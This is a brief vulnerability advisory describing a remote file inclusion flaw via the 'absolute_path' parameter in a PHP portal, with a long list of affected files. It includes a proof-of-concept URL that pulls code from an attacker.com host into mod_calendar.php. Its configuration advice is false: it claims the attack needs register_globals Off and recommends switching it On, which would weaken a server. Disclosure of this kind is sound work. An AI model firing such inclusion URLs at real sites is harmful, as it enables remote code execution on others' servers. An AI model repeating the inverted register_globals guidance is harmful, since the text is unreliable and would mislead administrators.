----------------------------------------------------------

Input passed to the "absolute_path" parameter in insert.php is not
properly verified before being used. This can be exploited to execute
arbitrary PHP code by including files from local or external
resources

Affected files: 

articles.php
contact.php
displaypage.php
faq.php
mainbody.php
news.php
registration.php
whosOnline.php
components/com_calendar.php
components/com_forum.php
components/minibb/index.php
components/minibb/bb_admin.php
components/minibb/bb_plugins.php
modules/mod_calendar.php
modules/mod_browser_prefs.php
modules/mod_counter.php
modules/mod_online.php
modules/mod_stats.php
modules/mod_weather.php
themes/bizz.php
themes/default.php
themes/simple.php
themes/original.php
themes/portal.php
themes/purple.php

and more :)

Successful exploitation requires that "register_globals= Off ".

http://target.com/[path]/modules/mod_calendar.php?absolute_path=http://attacker.com//inject.txt?

and more Affected files


Solution:
~~~~~~~~~
- Change register_globals= On 
  in php.ini
- Sanitize variable $absolute_path on affected files.
